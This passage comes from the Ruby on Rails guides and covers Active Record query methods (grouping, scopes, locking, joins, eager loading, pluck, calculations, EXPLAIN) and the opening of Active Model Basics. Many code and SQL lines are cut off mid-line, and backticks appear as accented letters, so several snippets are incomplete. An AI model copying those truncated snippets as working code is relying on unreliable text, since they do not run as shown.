not in the initialized record you'll receive:

ActiveModel::MissingAttributeError: missing attribute: <attribut

Where <attribute> is the attribute you asked for. The id method will not
raise the ActiveRecord::MissingAttributeError, so just be careful
when working with associations because they need the id method to
function properly.
If you would like to only grab a single record per unique value in a certain
field, you can use distinct:
Client.select(:name).distinct

This would generate SQL like:

SELECT DISTINCT name FROM clients

You can also remove the uniqueness constraint:

query = Client.select(:name).distinct
# => Returns unique names
query.distinct(false)
# => Returns all names, even if there are duplicates

5 Limit and Offset

To apply LIMIT to the SQL fired by the Model.find, you can specify the
LIMIT using limit and offset methods on the relation.
You can use limit to specify the number of records to be retrieved, and
use offset to specify the number of records to skip before starting to
return the records. For example
Client.limit(5)

will return a maximum of 5 clients and because it specifies no offset it will

return the first 5 in the table. The SQL it executes looks like this:
SELECT * FROM clients LIMIT 5

Adding offset to that

Client.limit(5).offset(30)

will return instead a maximum of 5 clients beginning with the 31st. The
SQL looks like:
SELECT * FROM clients LIMIT 5 OFFSET 30

6 Group
To apply a GROUP BY clause to the SQL fired by the finder, you can use the
group method.
For example, if you want to find a collection of the dates on which orders
were created:

Order.select("date(created_at) as ordered_date, sum(price) as to

And this will give you a single Order object for each date where there are
orders in the database.
The SQL that would be executed would be something like this:

SELECT date(created_at) as ordered_date, sum(price) as total_pri

FROM orders
GROUP BY date(created_at)

6.1 Total of grouped items

To get the total of grouped items on a single query, call count after the
group.
Order.group(:status).count
# => { 'awaiting_approval' => 7, 'paid' => 12 }

The SQL that would be executed would be something like this:

SELECT COUNT (*) AS count_all, status AS status
FROM "orders"
GROUP BY status

7 Having
SQL uses the HAVING clause to specify conditions on the GROUP BY fields.
You can add the HAVING clause to the SQL fired by the Model.find by
adding the having method to the find.
For example:

Order.select("date(created_at) as ordered_date, sum(price) as to

group("date(created_at)").having("sum(price) > ?", 100)

The SQL that would be executed would be something like this:

SELECT date(created_at) as ordered_date, sum(price) as total_pri

FROM orders
GROUP BY date(created_at)
HAVING sum(price) > 100

This returns the date and total price for each order object, grouped by the
day they were ordered and where the price is more than $100.

8 Overriding Conditions
8.1 unscope
You can specify certain conditions to be removed using the unscope
method. For example:

Article.where('id > 10').limit(20).order('id asc').unscope(:orde

The SQL that would be executed:

SELECT * FROM articles WHERE id > 10 LIMIT 20
# Original query without `unscope`
SELECT * FROM articles WHERE id > 10 ORDER BY id asc LIMIT 20

You can also unscope specific where clauses. For example:

Article.where(id: 10, trashed: false).unscope(where: :id)
# SELECT "articles".* FROM "articles" WHERE trashed = 0

A relation which has used unscope will affect any relation into which it is
merged:
Article.order('id asc').merge(Article.unscope(:order))
# SELECT "articles".* FROM "articles"

8.2 only
You can also override conditions using the only method. For example:

Article.where('id > 10').limit(20).order('id desc').only(:order,

The SQL that would be executed:

SELECT * FROM articles WHERE id > 10 ORDER BY id DESC

# Original query without `only`

SELECT "articles".* FROM "articles" WHERE (id > 10) ORDER BY id

8.3 reorder
The reorder method overrides the default scope order. For example:
class Article < ApplicationRecord
has_many :comments, -> { order('posted_at DESC') }
end
Article.find(10).comments.reorder('name')

The SQL that would be executed:

SELECT * FROM articles WHERE id = 10
SELECT * FROM comments WHERE article_id = 10 ORDER BY name

In the case where the reorder clause is not used, the SQL executed would
be:

SELECT * FROM articles WHERE id = 10

SELECT * FROM comments WHERE article_id = 10 ORDER BY posted_at

8.4 reverse_order
The reverse_order method reverses the ordering clause if specified.
Client.where("orders_count > 10").order(:name).reverse_order

The SQL that would be executed:

SELECT * FROM clients WHERE orders_count > 10 ORDER BY name DESC

If no ordering clause is specified in the query, the reverse_order orders

by the primary key in reverse order.
Client.where("orders_count > 10").reverse_order

The SQL that would be executed:

SELECT * FROM clients WHERE orders_count > 10 ORDER BY clients.i

This method accepts no arguments.

8.5 rewhere
The rewhere method overrides an existing, named where condition. For
example:
Article.where(trashed: true).rewhere(trashed: false)

The SQL that would be executed:

SELECT * FROM articles WHERE `trashed` = 0

In case the rewhere clause is not used,

Article.where(trashed: true).where(trashed: false)

the SQL executed would be:

SELECT * FROM articles WHERE `trashed` = 1 AND `trashed` = 0

9 Null Relation
The none method returns a chainable relation with no records. Any
subsequent conditions chained to the returned relation will continue
generating empty relations. This is useful in scenarios where you need a
chainable response to a method or a scope that could return zero results.
Article.none # returns an empty Relation and fires no queries.

# The visible_articles method below is expected to return a Rela

@articles = current_user.visible_articles.where(name: params[:na

def visible_articles
case role
when 'Country Manager'
Article.where(country: country)
when 'Reviewer'
Article.published
when 'Bad User'
Article.none # => returning [] or nil breaks the caller code
end
end

10 Readonly Objects
Active Record provides the readonly method on a relation to explicitly
disallow modification of any of the returned objects. Any attempt to alter a
readonly record will not succeed, raising an
ActiveRecord::ReadOnlyRecord exception.
client = Client.readonly.first
client.visits += 1
client.save

As client is explicitly set to be a readonly object, the above code will

raise an ActiveRecord::ReadOnlyRecord exception when calling
client.save with an updated value of visits.

11 Locking Records for Update

Locking is helpful for preventing race conditions when updating records in
the database and ensuring atomic updates.
Active Record provides two locking mechanisms:
Optimistic Locking
Pessimistic Locking
11.1 Optimistic Locking
Optimistic locking allows multiple users to access the same record for
edits, and assumes a minimum of conflicts with the data. It does this by
checking whether another process has made changes to a record since it
was opened. An ActiveRecord::StaleObjectError exception is thrown if
that has occurred and the update is ignored.
Optimistic locking column
In order to use optimistic locking, the table needs to have a column called
lock_version of type integer. Each time the record is updated, Active
Record increments the lock_version column. If an update request is made
with a lower value in the lock_version field than is currently in the
lock_version column in the database, the update request will fail with an
ActiveRecord::StaleObjectError. Example:
c1 = Client.find(1)
c2 = Client.find(1)
c1.first_name = "Michael"
c1.save
c2.name = "should fail"
c2.save # Raises an ActiveRecord::StaleObjectError

You're then responsible for dealing with the conflict by rescuing the
exception and either rolling back, merging, or otherwise apply the business
logic needed to resolve the conflict.
This behavior can be turned off by setting
ActiveRecord::Base.lock_optimistically = false.

To override the name of the lock_version column, ActiveRecord::Base

provides a class attribute called locking_column:
class Client < ApplicationRecord
self.locking_column = :lock_client_column
end

11.2 Pessimistic Locking

Pessimistic locking uses a locking mechanism provided by the underlying
database. Using lock when building a relation obtains an exclusive lock on
the selected rows. Relations using lock are usually wrapped inside a
transaction for preventing deadlock conditions.
For example:
Item.transaction do
i = Item.lock.first
i.name = 'Jones'
i.save!
end

The above session produces the following SQL for a MySQL backend:

SQL (0.2ms) BEGIN

Item Load (0.3ms) SELECT * FROM ìtems` LIMIT 1 FOR UPDATE
Item Update (0.4ms) UPDATE ìtems` SET ùpdated_at` = '2009-02
SQL (0.8ms) COMMIT

You can also pass raw SQL to the lock method for allowing different
types of locks. For example, MySQL has an expression called LOCK IN
SHARE MODE where you can lock a record but still allow other queries to
read it. To specify this expression just pass it in as the lock option:
Item.transaction do
i = Item.lock("LOCK IN SHARE MODE").find(1)
i.increment!(:views)
end

If you already have an instance of your model, you can start a transaction
and acquire the lock in one go using the following code:
item = Item.first
item.with_lock do
# This block is called within a transaction,
# item is already locked.
item.increment!(:views)
end

12 Joining Tables
Active Record provides two finder methods for specifying JOIN clauses on
the resulting SQL: joins and left_outer_joins. While joins should be
used for INNER JOIN or custom queries, left_outer_joins is used for
queries using LEFT OUTER JOIN.
12.1 joins
There are multiple ways to use the joins method.
12.1.1 Using a String SQL Fragment

You can just supply the raw SQL specifying the JOIN clause to joins:

Author.joins("INNER JOIN posts ON posts.author_id = author.id AN

This will result in the following SQL:

SELECT clients.* FROM clients INNER JOIN posts ON posts.author_i

12.1.2 Using Array/Hash of Named Associations

Active Record lets you use the names of the associations defined on the
model as a shortcut for specifying JOIN clauses for those associations
when using the joins method.
For example, consider the following Category, Article, Comment, Guest
and Tag models:
class Category < ApplicationRecord
has_many :articles
end
class Article < ApplicationRecord

belongs_to :category
has_many :comments
has_many :tags
end
class Comment < ApplicationRecord
belongs_to :article
has_one :guest
end
class Guest < ApplicationRecord
belongs_to :comment
end
class Tag < ApplicationRecord
belongs_to :article
end

Now all of the following will produce the expected join queries using
INNER JOIN:
12.1.2.1 Joining a Single Association

Category.joins(:articles)

This produces:
SELECT categories.* FROM categories
INNER JOIN articles ON articles.category_id = categories.id

Or, in English: "return a Category object for all categories with articles".
Note that you will see duplicate categories if more than one article has the
same category. If you want unique categories, you can use
Category.joins(:articles).distinct.
12.1.3 Joining Multiple Associations

Article.joins(:category, :comments)

This produces:
SELECT articles.* FROM articles
INNER JOIN categories ON articles.category_id = categories.id
INNER JOIN comments ON comments.article_id = articles.id

Or, in English: "return all articles that have a category and at least one
comment". Note again that articles with multiple comments will show up
multiple times.
12.1.3.1 Joining Nested Associations (Single Level)

Article.joins(comments: :guest)

This produces:
SELECT articles.* FROM articles
INNER JOIN comments ON comments.article_id = articles.id
INNER JOIN guests ON guests.comment_id = comments.id

Or, in English: "return all articles that have a comment made by a guest."
12.1.3.2 Joining Nested Associations (Multiple Level)

Category.joins(articles: [{ comments: :guest }, :tags])

This produces:
SELECT categories.* FROM categories
INNER JOIN articles ON articles.category_id = categories.id
INNER JOIN comments ON comments.article_id = articles.id
INNER JOIN guests ON guests.comment_id = comments.id

INNER JOIN tags ON tags.article_id = articles.id

Or, in English: "return all categories that have articles, where those articles
have a comment made by a guest, and where those articles also have a
tag."
12.1.4 Specifying Conditions on the Joined Tables

You can specify conditions on the joined tables using the regular Array
and String conditions. Hash conditions provide a special syntax for
specifying conditions for the joined tables:
time_range = (Time.now.midnight - 1.day)..Time.now.midnight
Client.joins(:orders).where('orders.created_at' => time_range)

An alternative and cleaner syntax is to nest the hash conditions:

time_range = (Time.now.midnight - 1.day)..Time.now.midnight
Client.joins(:orders).where(orders: { created_at: time_range })

This will find all clients who have orders that were created yesterday,
again using a BETWEEN SQL expression.
12.2 left_outer_joins
If you want to select a set of records whether or not they have associated
records you can use the left_outer_joins method.

Author.left_outer_joins(:posts).distinct.select('authors.*, COUN

Which produces:

SELECT DISTINCT authors., COUNT(posts.) AS posts_count FROM "a

LEFT OUTER JOIN posts ON posts.author_id = authors.id GROUP BY a

Which means: "return all authors with their count of posts, whether or not
they have any posts at all"

13 Eager Loading Associations

Eager loading is the mechanism for loading the associated records of the
objects returned by Model.find using as few queries as possible.
N + 1 queries problem
Consider the following code, which finds 10 clients and prints their
postcodes:
clients = Client.limit(10)
clients.each do |client|
puts client.address.postcode
end

This code looks fine at the first sight. But the problem lies within the total
number of queries executed. The above code executes 1 (to find 10 clients)
+ 10 (one per each client to load the address) = 11 queries in total.
Solution to N + 1 queries problem
Active Record lets you specify in advance all the associations that are
going to be loaded. This is possible by specifying the includes method of
the Model.find call. With includes, Active Record ensures that all of the
specified associations are loaded using the minimum possible number of
queries.
Revisiting the above case, we could rewrite Client.limit(10) to eager
load addresses:
clients = Client.includes(:address).limit(10)
clients.each do |client|
puts client.address.postcode
end

The above code will execute just 2 queries, as opposed to 11 queries in the
previous case:
SELECT * FROM clients LIMIT 10
SELECT addresses.* FROM addresses
WHERE (addresses.client_id IN (1,2,3,4,5,6,7,8,9,10))

13.1 Eager Loading Multiple Associations

Active Record lets you eager load any number of associations with a single
Model.find call by using an array, hash, or a nested hash of array/hash
with the includes method.
13.1.1 Array of Multiple Associations

Article.includes(:category, :comments)

This loads all the articles and the associated category and comments for
each article.
13.1.2 Nested Associations Hash

Category.includes(articles: [{ comments: :guest }, :tags]).find(

This will find the category with id 1 and eager load all of the associated
articles, the associated articles' tags and comments, and every comment's
guest association.
13.2 Specifying Conditions on Eager Loaded Associations
Even though Active Record lets you specify conditions on the eager
loaded associations just like joins, the recommended way is to use joins

instead.
However if you must do this, you may use where as you would normally.
Article.includes(:comments).where(comments: { visible: true })

This would generate a query which contains a LEFT OUTER JOIN whereas
the joins method would generate one using the INNER JOIN function
instead.

SELECT "articles"."id" AS t0_r0, ... "comments"."updated_at" A

If there was no where condition, this would generate the normal set of two
queries.
Using where like this will only work when you pass it a Hash. For SQLfragments you need to use references to force joined tables:

Article.includes(:comments).where("comments.visible = true").ref

If, in the case of this includes query, there were no comments for any
articles, all the articles would still be loaded. By using joins (an INNER
JOIN), the join conditions must match, otherwise no records will be
returned.

14 Scopes
Scoping allows you to specify commonly-used queries which can be
referenced as method calls on the association objects or models. With
these scopes, you can use every method previously covered such as where,
joins and includes. All scope methods will return an
ActiveRecord::Relation object which will allow for further methods
(such as other scopes) to be called on it.
To define a simple scope, we use the scope method inside the class,
passing the query that we'd like to run when this scope is called:
class Article < ApplicationRecord
scope :published, -> { where(published: true) }
end

This is exactly the same as defining a class method, and which you use is a
matter of personal preference:
class Article < ApplicationRecord
def self.published
where(published: true)
end
end

Scopes are also chainable within scopes:

class Article < ApplicationRecord

scope :published, -> { where(published: true) }
scope :published_and_commented, -> { published.where("comments
end

To call this published scope we can call it on either the class:

Article.published # => [published articles]

Or on an association consisting of Article objects:

category = Category.first
category.articles.published # => [published articles belonging t

14.1 Passing in arguments

Your scope can take arguments:

class Article < ApplicationRecord

scope :created_before, ->(time) { where("created_at < ?", time
end

Call the scope as if it were a class method:

Article.created_before(Time.zone.now)

However, this is just duplicating the functionality that would be provided

to you by a class method.
class Article < ApplicationRecord
def self.created_before(time)
where("created_at < ?", time)
end
end

Using a class method is the preferred way to accept arguments for scopes.
These methods will still be accessible on the association objects:
category.articles.created_before(time)

14.2 Using conditionals

Your scope can utilize conditionals:

class Article < ApplicationRecord

scope :created_before, ->(time) { where("created_at < ?", time
end

Like the other examples, this will behave similarly to a class method.
class Article < ApplicationRecord
def self.created_before(time)
where("created_at < ?", time) if time.present?
end
end

However, there is one important caveat: A scope will always return an

ActiveRecord::Relation object, even if the conditional evaluates to
false, whereas a class method, will return nil. This can cause
NoMethodError when chaining class methods with conditionals, if any of
the conditionals return false.
14.3 Applying a default scope
If we wish for a scope to be applied across all queries to the model we can
use the default_scope method within the model itself.
class Client < ApplicationRecord
default_scope { where("removed_at IS NULL") }
end

When queries are executed on this model, the SQL query will now look
something like this:
SELECT * FROM clients WHERE removed_at IS NULL

If you need to do more complex things with a default scope, you can
alternatively define it as a class method:
class Client < ApplicationRecord
def self.default_scope
# Should return an ActiveRecord::Relation.
end
end

The default_scope is also applied while creating/building a record. It is

not applied while updating a record. E.g.:
class Client < ApplicationRecord
default_scope { where(active: true) }
end
Client.new # => #<Client id: nil, active: true>
Client.unscoped.new # => #<Client id: nil, active: nil>

14.4 Merging of scopes

Just like where clauses scopes are merged using AND conditions.
class User < ApplicationRecord
scope :active, -> { where state: 'active' }
scope :inactive, -> { where state: 'inactive' }
end

User.active.inactive
# SELECT "users".* FROM "users" WHERE "users"."state" = 'active'

We can mix and match scope and where conditions and the final sql will
have all conditions joined with AND.

User.active.where(state: 'finished')
# SELECT "users".* FROM "users" WHERE "users"."state" = 'active'

If we do want the last where clause to win then Relation#merge can be

used.

User.active.merge(User.inactive)
# SELECT "users".* FROM "users" WHERE "users"."state" = 'inactiv

One important caveat is that default_scope will be prepended in scope

and where conditions.
class User < ApplicationRecord
default_scope { where state: 'pending' }
scope :active, -> { where state: 'active' }
scope :inactive, -> { where state: 'inactive' }
end

User.all
# SELECT "users".* FROM "users" WHERE "users"."state" = 'pending

User.active
# SELECT "users".* FROM "users" WHERE "users"."state" = 'pending

User.where(state: 'inactive')
# SELECT "users".* FROM "users" WHERE "users"."state" = 'pending

As you can see above the default_scope is being merged in both scope
and where conditions.
14.5 Removing All Scoping
If we wish to remove scoping for any reason we can use the unscoped
method. This is especially useful if a default_scope is specified in the
model and should not be applied for this particular query.
Client.unscoped.load

This method removes all scoping and will do a normal query on the table.
Client.unscoped.all
# SELECT "clients".* FROM "clients"
Client.where(published: false).unscoped.all
# SELECT "clients".* FROM "clients"

unscoped can also accept a block.

Client.unscoped {
Client.created_before(Time.zone.now)
}

15 Dynamic Finders
For every field (also known as an attribute) you define in your table,
Active Record provides a finder method. If you have a field called
first_name on your Client model for example, you get
find_by_first_name for free from Active Record. If you have a locked
field on the Client model, you also get find_by_locked method.
You can specify an exclamation point (!) on the end of the dynamic
finders to get them to raise an ActiveRecord::RecordNotFound error if
they do not return any records, like Client.find_by_name!("Ryan")
If you want to find both by name and locked, you can chain these finders
together by simply typing "and" between the fields. For example,
Client.find_by_first_name_and_locked("Ryan", true).

16 Enums
The enum macro maps an integer column to a set of possible values.
class Book < ApplicationRecord
enum availability: [:available, :unavailable]
end

This will automatically create the corresponding scopes to query the

model. Methods to transition between states and query the current state are
also added.
# Both examples below query just available books.
Book.available
# or
Book.where(availability: :available)
book = Book.new(availability: :available)
book.available? # => true
book.unavailable! # => true
book.available? # => false

Read the full documentation about enums in the Rails API docs.

17 Understanding The Method Chaining

The Active Record pattern implements Method Chaining, which allow us
to use multiple Active Record methods together in a simple and
straightforward way.
You can chain methods in a statement when the previous method called
returns an ActiveRecord::Relation, like all, where, and joins. Methods
that return a single object (see Retrieving a Single Object Section) have to
be at the end of the statement.
There are some examples below. This guide won't cover all the
possibilities, just a few as examples. When an Active Record method is
called, the query is not immediately generated and sent to the database,
this just happens when the data is actually needed. So each example below
generates a single query.
17.1 Retrieving filtered data from multiple tables
Person
.select('people.id, people.name, comments.text')
.joins(:comments)
.where('comments.created_at > ?', 1.week.ago)

The result should be something like this:

SELECT people.id, people.name, comments.text
FROM people
INNER JOIN comments
ON comments.person_id = people.id
WHERE comments.created_at = '2015-01-01'

17.2 Retrieving specific data from multiple tables

Person
.select('people.id, people.name, companies.name')
.joins(:company)
.find_by('people.name' => 'John') # this should be the last

The above should generate:

SELECT people.id, people.name, companies.name
FROM people
INNER JOIN companies
ON companies.person_id = people.id
WHERE people.name = 'John'
LIMIT 1

Note that if a query matches multiple records, find_by will fetch only the
first one and ignore the others (see the LIMIT 1 statement above).

18 Find or Build a New Object

It's common that you need to find a record or create it if it doesn't exist.
You can do that with the find_or_create_by and find_or_create_by!
methods.
18.1 find_or_create_by
The find_or_create_by method checks whether a record with the
specified attributes exists. If it doesn't, then create is called. Let's see an
example.
Suppose you want to find a client named 'Andy', and if there's none, create
one. You can do so by running:

Client.find_or_create_by(first_name: 'Andy')
# => #<Client id: 1, first_name: "Andy", orders_count: 0, locked

The SQL generated by this method looks like this:

SELECT * FROM clients WHERE (clients.first_name = 'Andy') LIMIT

BEGIN
INSERT INTO clients (created_at, first_name, locked, orders_coun
COMMIT

find_or_create_by returns either the record that already exists or the new

record. In our case, we didn't already have a client named Andy so the
record is created and returned.
The new record might not be saved to the database; that depends on
whether validations passed or not (just like create).
Suppose we want to set the 'locked' attribute to false if we're creating a
new record, but we don't want to include it in the query. So we want to

find the client named "Andy", or if that client doesn't exist, create a client
named "Andy" which is not locked.
We can achieve this in two ways. The first is to use create_with:

Client.create_with(locked: false).find_or_create_by(first_name:

The second way is using a block:

Client.find_or_create_by(first_name: 'Andy') do |c|
c.locked = false
end

The block will only be executed if the client is being created. The second
time we run this code, the block will be ignored.
18.2 find_or_create_by!
You can also use find_or_create_by! to raise an exception if the new
record is invalid. Validations are not covered on this guide, but let's
assume for a moment that you temporarily add
validates :orders_count, presence: true

to your Client model. If you try to create a new Client without passing
an orders_count, the record will be invalid and an exception will be
raised:

Client.find_or_create_by!(first_name: 'Andy')
# => ActiveRecord::RecordInvalid: Validation failed: Orders coun

18.3 find_or_initialize_by

The find_or_initialize_by method will work just like

find_or_create_by but it will call new instead of create. This means that
a new model instance will be created in memory but won't be saved to the
database. Continuing with the find_or_create_by example, we now want
the client named 'Nick':

nick = Client.find_or_initialize_by(first_name: 'Nick')

# => #<Client id: nil, first_name: "Nick", orders_count: 0, lock
nick.persisted?
# => false
nick.new_record?
# => true

Because the object is not yet stored in the database, the SQL generated
looks like this:

SELECT * FROM clients WHERE (clients.first_name = 'Nick') LIMIT

When you want to save it to the database, just call save:

nick.save
# => true

19 Finding by SQL
If you'd like to use your own SQL to find records in a table you can use
find_by_sql. The find_by_sql method will return an array of objects
even if the underlying query returns just a single record. For example you
could run this query:
Client.find_by_sql("SELECT * FROM clients
INNER JOIN orders ON clients.id = orders.client_id
ORDER BY clients.created_at desc")
# => [
# #<Client id: 1, first_name: "Lucas" >,
# #<Client id: 2, first_name: "Jan" >,
# ...
# ]

find_by_sql provides you with a simple way of making custom calls to

the database and retrieving instantiated objects.

19.1 select_all
find_by_sql has a close relative called connection#select_all.
select_all will retrieve objects from the database using custom SQL just
like find_by_sql but will not instantiate them. Instead, you will get an

array of hashes where each hash indicates a record.

Client.connection.select_all("SELECT first_name, created_at FROM

# => [
# {"first_name"=>"Rafael", "created_at"=>"2012-11-10 23:23:45.
# {"first_name"=>"Eileen", "created_at"=>"2013-12-09 11:22:35.
# ]

19.2 pluck
pluck can be used to query single or multiple columns from the underlying

table of a model. It accepts a list of column names as argument and returns

an array of values of the specified columns with the corresponding data
type.
Client.where(active: true).pluck(:id)
# SELECT id FROM clients WHERE active = 1
# => [1, 2, 3]
Client.distinct.pluck(:role)
# SELECT DISTINCT role FROM clients
# => ['admin', 'member', 'guest']
Client.pluck(:id, :name)
# SELECT clients.id, clients.name FROM clients
# => [[1, 'David'], [2, 'Jeremy'], [3, 'Jose']]

pluck makes it possible to replace code like:

Client.select(:id).map { |c| c.id }
# or
Client.select(:id).map(&:id)
# or
Client.select(:id, :name).map { |c| [c.id, c.name] }

with:
Client.pluck(:id)
# or
Client.pluck(:id, :name)

Unlike select, pluck directly converts a database result into a Ruby

Array, without constructing ActiveRecord objects. This can mean better
performance for a large or often-running query. However, any model
method overrides will not be available. For example:
class Client < ApplicationRecord
def name

"I am #{super}"
end
end
Client.select(:name).map &:name
# => ["I am David", "I am Jeremy", "I am Jose"]
Client.pluck(:name)
# => ["David", "Jeremy", "Jose"]

Furthermore, unlike select and other Relation scopes, pluck triggers an

immediate query, and thus cannot be chained with any further scopes,
although it can work with scopes already constructed earlier:

Client.pluck(:name).limit(1)
# => NoMethodError: undefined method `limit' for #<Array:0x007ff
Client.limit(1).pluck(:name)
# => ["David"]

19.3 ids
ids can be used to pluck all the IDs for the relation using the table's

primary key.
Person.ids
# SELECT id FROM people
class Person < ApplicationRecord
self.primary_key = "person_id"
end
Person.ids
# SELECT person_id FROM people

20 Existence of Objects
If you simply want to check for the existence of the object there's a method
called exists?. This method will query the database using the same query
as find, but instead of returning an object or collection of objects it will
return either true or false.
Client.exists?(1)

The exists? method also takes multiple values, but the catch is that it will
return true if any one of those records exists.
Client.exists?(id: [1,2,3])
# or
Client.exists?(name: ['John', 'Sergei'])

It's even possible to use exists? without any arguments on a model or a

relation.
Client.where(first_name: 'Ryan').exists?

The above returns true if there is at least one client with the first_name
'Ryan' and false otherwise.
Client.exists?

The above returns false if the clients table is empty and true otherwise.
You can also use any? and many? to check for existence on a model or
relation.
# via a model
Article.any?

Article.many?
# via a named scope
Article.recent.any?
Article.recent.many?
# via a relation
Article.where(published: true).any?
Article.where(published: true).many?
# via an association
Article.first.categories.any?
Article.first.categories.many?

21 Calculations
This section uses count as an example method in this preamble, but the
options described apply to all sub-sections.
All calculation methods work directly on a model:
Client.count
# SELECT count(*) AS count_all FROM clients

Or on a relation:

Client.where(first_name: 'Ryan').count
# SELECT count(*) AS count_all FROM clients WHERE (first_name =

You can also use various finder methods on a relation for performing
complex calculations:

Client.includes("orders").where(first_name: 'Ryan', orders: { st

Which will execute:

SELECT count(DISTINCT clients.id) AS count_all FROM clients
LEFT OUTER JOIN orders ON orders.client_id = client.id WHERE
(clients.first_name = 'Ryan' AND orders.status = 'received')

21.1 Count
If you want to see how many records are in your model's table you could
call Client.count and that will return the number. If you want to be more
specific and find all the clients with their age present in the database you
can use Client.count(:age).

For options, please see the parent section, Calculations.

21.2 Average
If you want to see the average of a certain number in one of your tables
you can call the average method on the class that relates to the table. This
method call will look something like this:
Client.average("orders_count")

This will return a number (possibly a floating point number such as

3.14159265) representing the average value in the field.
For options, please see the parent section, Calculations.
21.3 Minimum
If you want to find the minimum value of a field in your table you can call
the minimum method on the class that relates to the table. This method call
will look something like this:
Client.minimum("age")

For options, please see the parent section, Calculations.

21.4 Maximum
If you want to find the maximum value of a field in your table you can call
the maximum method on the class that relates to the table. This method call
will look something like this:
Client.maximum("age")

For options, please see the parent section, Calculations.

21.5 Sum
If you want to find the sum of a field for all records in your table you can
call the sum method on the class that relates to the table. This method call
will look something like this:
Client.sum("orders_count")

For options, please see the parent section, Calculations.

22 Running EXPLAIN
You can run EXPLAIN on the queries triggered by relations. For example,
User.where(id: 1).joins(:articles).explain

may yield

EXPLAIN for: SELECT ùsers`.* FROM ùsers` INNER JOIN àrticles`

under MySQL and MariaDB.

Active Record performs a pretty printing that emulates that of the
corresponding database shell. So, the same query running with the
PostgreSQL adapter would yield instead

EXPLAIN for: SELECT "users".* FROM "users" INNER JOIN "articles"

QUERY PLAN
--------------------------------------------------------------- Nested Loop Left Join (cost=0.00..37.24 rows=8 width=0)
Join Filter: (articles.user_id = users.id)
-> Index Scan using users_pkey on users (cost=0.00..8.27 ro
Index Cond: (id = 1)
-> Seq Scan on articles (cost=0.00..28.88 rows=8 width=4)

Filter: (articles.user_id = 1)
(6 rows)

Eager loading may trigger more than one query under the hood, and some
queries may need the results of previous ones. Because of that, explain
actually executes the query, and then asks for the query plans. For
example,
User.where(id: 1).includes(:articles).explain

yields

EXPLAIN for: SELECT ùsers`.* FROM ùsers` WHERE ùsers`.ìd` =

+----+-------------+-------+-------+---------------+
| id | select_type | table | type | possible_keys |
+----+-------------+-------+-------+---------------+
| 1 | SIMPLE | users | const | PRIMARY |
+----+-------------+-------+-------+---------------+
+---------+---------+-------+------+-------+
| key | key_len | ref | rows | Extra |
+---------+---------+-------+------+-------+
| PRIMARY | 4 | const | 1 | |
+---------+---------+-------+------+-------+
1 row in set (0.00 sec)

EXPLAIN for: SELECT àrticles`.* FROM àrticles` WHERE àrticle

+----+-------------+----------+------+---------------+
| id | select_type | table | type | possible_keys |
+----+-------------+----------+------+---------------+
| 1 | SIMPLE | articles | ALL | NULL |
+----+-------------+----------+------+---------------+
+------+---------+------+------+-------------+
| key | key_len | ref | rows | Extra |
+------+---------+------+------+-------------+
| NULL | NULL | NULL | 1 | Using where |
+------+---------+------+------+-------------+

1 row in set (0.00 sec)

under MySQL and MariaDB.

22.1 Interpreting EXPLAIN
Interpretation of the output of EXPLAIN is beyond the scope of this guide.
The following pointers may be helpful:
SQLite3: EXPLAIN QUERY PLAN
MySQL: EXPLAIN Output Format
MariaDB: EXPLAIN
PostgreSQL: Using EXPLAIN

Active Model Basics Ruby on

Rails...

1 Introduction
Active Model is a library containing various modules used in developing
classes that need some features present on Active Record. Some of these
modules are explained below.
1.1 Attribute Methods
The ActiveModel::AttributeMethods module can add custom prefixes
and suffixes on methods of a class. It is used by defining the prefixes and
suffixes and which methods on the object will use them.
class Person
include ActiveModel::AttributeMethods
attribute_method_prefix 'reset_'
attribute_method_suffix '_highest?'
define_attribute_methods 'age'
attr_accessor :age
private
def reset_attribute(attribute)
send("#{attribute}=", 0)
end
def attribute_highest?(attribute)
send(attribute) > 100
end
end
person = Person.new
person.age = 110
person.age_highest? # => true
person.reset_age # => 0
person.age_highest? # => false

1.2 Callbacks

ActiveModel::Callbacks gives Active Record style callbacks. This

provides an ability to define callbacks which run at appropriate times.

After defining callbacks, you can wrap them with before, after and around
custom methods.
class Person
extend ActiveModel::Callbacks
define_model_callbacks :update
before_update :reset_me

def update
run_callbacks(:update) do
# This method is called when update is called on an object
end
end

def reset_me
# This method is called when update is called on an object a
end
end

1.3 Conversion
If a class defines persisted? and id methods, then you can include the
ActiveModel::Conversion module in that class and call the Rails
conversion methods on objects of that class.
class Person
include ActiveModel::Conversion
def persisted?
false
end
def id
nil
end

end
person = Person.new
person.to_model == person # => true
person.to_key # => nil
person.to_param # => nil

1.4 Dirty
An object becomes dirty when it has gone through one or more changes to
its attributes and has not been saved. ActiveModel::Dirty gives the
ability to check whether an object has been changed or not. It also has
attribute based accessor methods. Let's consider a Person class with
attributes first_name and last_name:
class Person
include ActiveModel::Dirty
define_attribute_methods :first_name, :last_name
def first_name
@first_name
end
def first_name=(value)
first_name_will_change!
@first_name = value
end
def last_name
@last_name
end
def last_name=(value)
last_name_will_change!
@last_name = value
end
def save
# do save work...
changes_applied

end
end
1.4.1 Querying object directly for its list of all changed attributes.

person = Person.new
person.changed? # => false
person.first_name = "First Name"
person.first_name # => "First Name"

# returns true if any of the attributes have unsaved changes, fa

person.changed? # => true
# returns a list of attributes that have changed before saving.
person.changed # => ["first_name"]

# returns a hash of the attributes that have changed with their

person.changed_attributes # => {"first_name"=>nil}

# returns a hash of changes, with the attribute names as the key

person.changes # => {"first_name"=>[nil, "First Name"]}
1.4.2 Attribute based accessor methods

Track whether the particular attribute has been changed or not.

# attr_name_changed?
person.first_name # => "First Name"
person.first_name_changed? # => true

Track what was the previous value of the attribute.

# attr_name_was accessor
person.first_name_was # => nil

Track both previous and current value of the changed attribute. Returns an

array if changed, else returns nil.

# attr_name_change
person.first_name_change # => [nil, "First Name"]
person.last_name_change # => nil

1.5 Validations
The ActiveModel::Validations module adds the ability to validate class
objects like in Active Record.
class Person
include ActiveModel::Validations
attr_accessor :name, :email, :token

validates :name, presence: true

validates_format_of :email, with: /\A([^\s]+)((?:[-a-z0-9]\.)[
validates! :token, presence: true
end

person = Person.new
person.token = "2b1f325"
person.valid? # => false
person.name = 'vishnu'
person.email = 'me'
person.valid? # => false
person.email = '[email protected]'
person.valid? # => true
person.token = nil
person.valid? # => raises ActiveModel::St

1.6 Naming
ActiveModel::Naming adds a number of class methods which make the
naming and routing easier to manage. The module defines the model_name

class method which will define a number of accessors using some

ActiveSupport::Inflector methods.
class Person
extend ActiveModel::Naming
end
Person.model_name.name # => "Person"
Person.model_name.singular # => "person"
Person.model_name.plural # => "people"
Person.model_name.element # => "person"
Person.model_name.human # => "Person"
Person.model_name.collection # => "people"
Person.model_name.param_key # => "person"
